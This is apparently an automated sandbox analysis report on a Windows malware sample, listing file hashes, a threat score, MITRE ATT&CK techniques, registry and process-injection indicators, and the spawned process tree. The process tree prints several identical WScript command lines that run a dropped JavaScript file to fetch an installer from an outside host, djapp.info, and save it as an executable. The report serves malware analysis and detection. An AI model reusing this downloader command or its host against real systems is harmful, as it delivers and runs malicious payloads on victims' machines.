b18ebd29fd3d67693f0e9386dfeeaf7ff8451db11314ab6db7ad59bc3c926434

Analysis

max time kernel
132s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2024, 00:06

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General

Target

1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe
Size

184KB
MD5

1516c28bb9b08a6822121f0e88567457
SHA1

e28c3a2dd25faa80b18e41d6a3824dd6777944e3
SHA256

b18ebd29fd3d67693f0e9386dfeeaf7ff8451db11314ab6db7ad59bc3c926434
SHA512

a7f5bdd32e63aca7a5b7b085a4d40bcc0cf714b661cfc55f4d6cb3ed4eaa09e36180c73d44b01f9ce83e5f63f5b1c9d4c662838d05192d99c863f37c194948de
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
10	3204	WScript.exe
29	4708	WScript.exe
31	4032	WScript.exe
43	4532	WScript.exe
48	4452	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3204	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	83
PID 4692 wrote to memory of 3204	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	83
PID 4692 wrote to memory of 3204	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	83
PID 4692 wrote to memory of 4708	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	95
PID 4692 wrote to memory of 4708	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	95
PID 4692 wrote to memory of 4708	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	95
PID 4692 wrote to memory of 4032	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	96
PID 4692 wrote to memory of 4032	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	96
PID 4692 wrote to memory of 4032	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	96
PID 4692 wrote to memory of 4532	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	99
PID 4692 wrote to memory of 4532	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	99
PID 4692 wrote to memory of 4532	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	99
PID 4692 wrote to memory of 4452	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	100
PID 4692 wrote to memory of 4452	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	100
PID 4692 wrote to memory of 4452	4692	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf444C.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf444C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3204
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf444C.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf444C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4708
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf444C.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf444C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4032
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf444C.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf444C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4532
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf444C.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf444C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf444C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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